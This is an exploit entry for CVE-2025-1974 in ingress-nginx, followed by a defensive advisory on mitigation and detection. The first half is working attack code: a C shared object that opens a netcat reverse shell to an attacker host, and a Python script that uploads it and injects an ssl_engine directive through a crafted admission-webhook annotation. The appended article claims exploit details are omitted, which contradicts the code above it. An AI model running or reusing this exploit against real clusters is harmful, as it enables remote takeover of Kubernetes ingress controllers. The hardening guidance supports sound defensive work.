Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)
# Exploit Title: Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 2025-06-19
# Exploit Author: Likhith Appalaneni
# Vendor Homepage: https://kubernetes.github.io/ingress-nginx/
# Software Link: https://github.com/kubernetes/ingress-nginx
# Version: ingress-nginx v4.11.0 on Kubernetes v1.29.0 (Minikube)
# Tested on: Ubuntu 24.04, Minikube vLatest, Docker vLatest
# CVE : CVE-2025-1974
1) Update the attacker ip and listening port in shell.c and Compile the shell payload:
gcc -fPIC -shared -o shell.so shell.c
2) Run the exploit:
python3 exploit.py
The exploit sends a crafted AdmissionRequest to the vulnerable Ingress-NGINX webhook and loads the shell.so to achieve code execution.
<---> shell.c <--->
#include <stdlib.h>
__attribute__((constructor)) void init() {
system("sh -c 'nc attacker-ip attacker-port -e /bin/sh'");
}
<---> shell.c <--->
<---> exploit.py <--->
import json
import requests
import threading
import time
import urllib3
import socket
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def upload_shell_via_socket(file_path, target_host, target_port):
print("[*] Uploading shell.so via raw socket to keep FD open...")
try:
with open(file_path, "rb") as f:
data = f.read()
data += b"\x00" * (16384 - len(data) % 16384)
content_len = len(data) + 2024
payload = f"POST /fake/addr HTTP/1.1\r\nHost: {target_host}:{target_port}\r\nContent-Type: application/octet-stream\r\nContent-Length: {content_len}\r\n\r\n".encode("ascii") + data
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_host, target_port))
sock.sendall(payload)
print("[*] Payload sent, holding connection open for 220s...")
time.sleep(220)
sock.close()
except Exception as e:
print(f"[!] Upload failed: {e}")
def build_payload(pid, fd):
annotation = "http://x/#;" + ("}" * 3) + f"\nssl_engine /proc/{pid}/fd/{fd};\n#"
return {
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "exploit-uid",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "example-ingress",
"operation": "CREATE",
"userInfo": {
"username": "kube-review",
"uid": "d9c6bf40-e0e6-4cd9-a9f4-b6966020ed3d"
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "example-ingress",
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": annotation
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "hello-world.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "web",
"port": { "number": 8080 }
}
}
}
]
}
}
]
}
},
"oldObject": None,
"dryRun": False,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
def send_requests(admission_url, pid_range, fd_range):
for pid in range(pid_range[0], pid_range[1]):
for fd in range(fd_range[0], fd_range[1]):
print(f"Trying /proc/{pid}/fd/{fd}")
payload = build_payload(pid, fd)
try:
resp = requests.post(
f"{admission_url}/networking/v1/ingresses",
headers={"Content-Type": "application/json"},
data=json.dumps(payload),
verify=False,
timeout=5
)
result = resp.json()
msg = result.get("response", {}).get("status", {}).get("message", "")
if "No such file" in msg or "Permission denied" in msg:
continue
print(f"[+] Interesting response at /proc/{pid}/fd/{fd}:\n{msg}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit CVE-2025-1974")
parser.add_argument("--upload-url", required=True, help="Upload URL (e.g., http://127.0.0.1:8080)")
parser.add_argument("--admission-url", required=True, help="Admission controller URL (e.g., https://127.0.0.1:8443)")
parser.add_argument("--shell", default="shell.so", help="Path to shell.so file")
parser.add_argument("--pid-start", type=int, default=26)
parser.add_argument("--pid-end", type=int, default=30)
parser.add_argument("--fd-start", type=int, default=1)
parser.add_argument("--fd-end", type=int, default=100)
args = parser.parse_args()
host = args.upload_url.split("://")[-1].split(":")[0]
port = int(args.upload_url.split(":")[-1])
upload_thread = threading.Thread(target=upload_shell_via_socket, args=(args.shell, host, port))
upload_thread.start()
time.sleep(3)
send_requests(args.admission_url, (args.pid_start, args.pid_end), (args.fd_start, args.fd_end))
upload_thread.join()
<---> exploit.py <---> Ingress‑NGINX 4.11.0 — CVE-2025-1974: Overview, Impact, and Mitigation
This article reviews the remote code execution (RCE) vulnerability tracked as CVE-2025-1974 affecting ingress-nginx (reported in versions around v4.11.0), summarizes the likely impact, and — most importantly — provides detection, mitigation and remediation guidance for Kubernetes operators and security teams. The goal is to explain the issue in practical, defensive terms and to describe safe hardening strategies you can apply in production.
Quick summary
| Item | Details |
|---|---|
| CVE | CVE-2025-1974 |
| Affected component | ingress-nginx controller / admission webhook (reported around v4.11.0) |
| Impact | Remote code execution in ingress controller process (high severity) |
| Attack vector | Maliciously crafted Kubernetes Admission/Ingress object causing controller to load or evaluate untrusted configuration |
| Remediation | Apply vendor-supplied patch or upgrade to a fixed release; apply defense-in-depth controls |
What happened — concise, high‑level technical description
A vulnerability in the ingress-nginx admission-processing path allowed specially crafted Ingress-related input to cause the controller process to interpret or incorporate attacker-controlled data in a way that could lead to arbitrary code execution inside the ingress-nginx process. The problem resides in how ingress configuration content (annotations/metadata validated or transformed by the admission webhook) was handled by the controller, and how the controller subsequently used that content to drive runtime behavior.
Exploit details and proof‑of‑concepts are intentionally omitted here — if you operate affected clusters, assume exploitability and prioritize mitigation and patching.
Potential impact to your environment
- Complete compromise of the ingress controller pod(s), leading to container escape or arbitrary command execution inside the container runtime.
- Lateral movement: the ingress controller often has network visibility to backend services, the API server, or other cluster resources; attackers can pivot to other pods or exfiltrate data.
- Supply chain and cluster integrity risks: modification of ingress rules, TLS assets, or injection of malicious content into HTTP traffic
- Persistence: attacker can create or modify resources (if RBAC permits) to maintain access.
Immediate (emergency) mitigations
- Patch / upgrade ingress-nginx to a vendor-released fixed version immediately. If a fixed version is available from the ingress-nginx maintainers, apply that release as your first action.
- If you cannot upgrade immediately, restrict access to the ingress controller admission webhook and the controller pods at the network level (NetworkPolicy, firewall rules) to trusted admin hosts only.
- Isolate the ingress controller: limit its egress to only the destinations required (backends, image registries) and prevent it from initiating arbitrary outbound connections.
- Rotate secrets that the ingress controller has access to (TLS keys, tokens) and audit RBAC permissions. Treat controller tokens as potentially compromised until remediated.
- Consider temporarily scaling down or replacing ingress controllers with a patched alternative in critical environments if patching is delayed.
How to check whether your installation is affected
Start by identifying the ingress-nginx controller version and whether an admission webhook for ingress validation is in use. The example commands below are defensive checks to help locate deployments and images.
# List ingress-nginx deployments and check image versions in the ingress-nginx namespace
kubectl -n ingress-nginx get deploy -o wide
# Inspect the controller deployment to see the image tag
kubectl -n ingress-nginx get deploy ingress-nginx-controller -o yaml | yq '.spec.template.spec.containers[] | {name:.name, image:.image}'
Explanation: The commands find ingress-nginx controller deployments and show the image tags. Confirm whether the image references a vulnerable tag (for example, v4.11.0) and cross-check against vendor advisories for CVE-2025-1974.
Recommended remediation steps (safe, prioritized)
- Consult the official ingress-nginx project security advisory or release notes for the CVE, and identify the fixed release version.
- Plan and apply an upgrade to the patched image using your deployment automation or Helm. Test in staging before production deployment.
- Apply short-term network restrictions and RBAC reductions while patching is scheduled/completed.
- Audit ingress controller logs and Kubernetes audit logs for suspicious activity (see detection section below).
- Rotate credentials and TLS materials accessible to the controller; replace service account tokens if compromise is suspected.
- Harden the controller pod spec (non-root, readOnlyRootFilesystem, drop capabilities) and enforce policy to prevent future risky config patterns.
Example: patching via Helm (defensive)
# Update Helm repo and upgrade to a patched ingress-nginx version (replace with vendor guidance)
helm repo update
helm upgrade ingress-nginx ingress-nginx/ingress-nginx \
--namespace ingress-nginx \
--set controller.image.tag=
Explanation: This Helm command upgrades the ingress-nginx release in the ingress-nginx namespace to the supplied patched image tag. Always validate the exact patched version from the official project security advisory and test in a non-production environment first.
Example: restrict egress with a Kubernetes NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: restrict-ingress-controller-egress
namespace: ingress-nginx
spec:
podSelector:
matchLabels:
app.kubernetes.io/name: ingress-nginx
policyTypes:
- Egress
egress:
- to:
- ipBlock:
# Allow access to API server subnet or specific IPs as required
cidr: 10.0.0.0/24
ports:
- protocol: TCP
port: 443
- to:
- namespaceSelector:
matchLabels:
app: backend
ports:
- protocol: TCP
port: 8080
Explanation: This NetworkPolicy limits egress from ingress-nginx pods to only the API server and backend service namespace (example). Adjust CIDRs, namespaces and ports to match your cluster topology. NetworkPolicies require a CNI that enforces them.
Hardening ingress controller pod security
- Run as non-root where possible (securityContext.runAsNonRoot: true).
- Set readOnlyRootFilesystem: true and drop unnecessary Linux capabilities.
- Limit hostPath mounts, hostNetwork and hostPID usage — avoid granting host-level access to controllers.
- Use Pod Security Standards, OPA/Gatekeeper, or Kyverno policies to enforce safe defaults for ingress-related components.
# Example fragment to harden pod spec
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: controller
securityContext:
readOnlyRootFilesystem: true
capabilities:
drop: ["ALL"]
runAsUser: 101
Explanation: These settings reduce the privileges available to the controller container and make successful exploitation harder by removing root and privileged capabilities.
Detection and monitoring guidance
Because ingress controllers sit at the edge and often have rich network access, they are high-value targets. Detection should cover two areas: anomalous activity from the ingress controller process, and suspicious Kubernetes API activity that indicates abuse of admission or resource creation.
- Monitor ingress controller logs for unexpected errors, new module-load messages (if your build supports modules), or executed subprocesses.
- Audit Kubernetes API server logs for unusual AdmissionReview requests, unexpected Ingress resource creations/patches, or repeated failures before a successful change.
- Watch for unexpected outbound connections from controller pods to unknown IPs or services (e.g., using netflow, VPC flow logs, or host network monitoring).
- Use runtime security tools (Falco, sysdig) to detect suspicious exec() calls, new network connections, or changes to filesystem paths within the ingress controller container.
- Scan images regularly using SCA tools (Trivy, Clair) and run kube-bench / kube-hunter style checks to find misconfigurations.
# Example: quickly search Kubernetes audit logs for Ingress creates in last 24h
kubectl logs -n kube-system kube-apiserver- --since=24h | jq '.items[] | select(.objectRef.resource=="ingresses") | {user:.user.username, verb:.verb, name:.objectRef.name, timestamp:.requestReceivedTimestamp}'
Explanation: This command demonstrates how to filter API server logs for Ingress resource operations. Exact log location and formatting depend on your audit log configuration and storage backend.
Longer-term prevention and governance
- Maintain an up-to-date inventory of third-party controllers and their versions; subscribe to vendor security advisories.
- Enforce least privilege for controllers: minimal RBAC roles and scoped ServiceAccounts.
- Use admission control policy engines (OPA/Gatekeeper, Kyverno) to validate and reject risky annotations or configuration values on Ingress resources.
- Implement image signing and runtime attestation (e.g., sigstore, cosign, runtime trust policies) to ensure only approved controller images run in production.
- Integrate vulnerability scanning into CI so that problematic versions are detected before deployment.
Example: deny unapproved annotations (OPA/Gatekeeper - conceptual)
# This is a conceptual example: create a constraint template that denies Ingress manifests
# containing certain unapproved annotation keys or patterns. Adapt and test in staging.
# Constraint: deny ingresses with annotation keys matching a denylist
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sRequiredLabels # use an appropriate template or create a custom one
metadata:
name: deny-unapproved-ingress-annotations
spec:
match:
kinds:
- apiGroups: ["networking.k8s.io"]
kinds: ["Ingress"]
parameters:
denyAnnotationPatterns:
- "^untrusted\\.example/"
- "^nginx\\.ingress\\.kubernetes\\.io/sensitive-.*"
Explanation: Use Gatekeeper or similar policy engines to enforce rules that prevent administrators or users from creating Ingress resources with risky annotations. The snippet is conceptual; implement a suitable ConstraintTemplate and parameterize it for your environment.
Post‑incident actions (if compromise suspected)
- Isolate the compromised ingress-controller nodes/pods immediately (cordon/evict or scale down) to prevent further abuse.
- Collect forensic artifacts: container filesystem snapshot, process lists, network connection logs, Kubernetes audit logs.
- Rotate all credentials and secrets the controller could access, including service account tokens and TLS keys.
- Rebuild the controller pods from a known-good image after remediation and validation; do not simply restart suspected containers.
- Perform a full cluster security assessment to identify other potential persistence mechanisms or lateral footholds.
Detection & scanning tool recommendations
- Image scanning: Trivy, Clair, Anchore
- Cluster hardening checks: kube-bench, kube-hunter
- Runtime detection: Falco, Sysdig
- Policy enforcement: OPA/Gatekeeper, Kyverno
Responsible disclosure and coordinated response
If you discover an additional issue or suspect a zero‑day in your environment, follow vendor and CERT disclosure guidelines: collect evidence, avoid publishing exploits publicly, inform the ingress-nginx maintainers and relevant CERT channels, and coordinate disclosure so fixes and mitigations can be rolled out safely.
Key takeaways
- Assume ingress controllers are high-value targets; prioritize patching when vulnerabilities are disclosed.
- Defense in depth (network policies, RBAC, pod hardening, audit logs, runtime detection) reduces blast radius even when edge components have vulnerabilities.
- Automate scanning, inventory and patching workflows so vulnerable versions are identified and remediated quickly.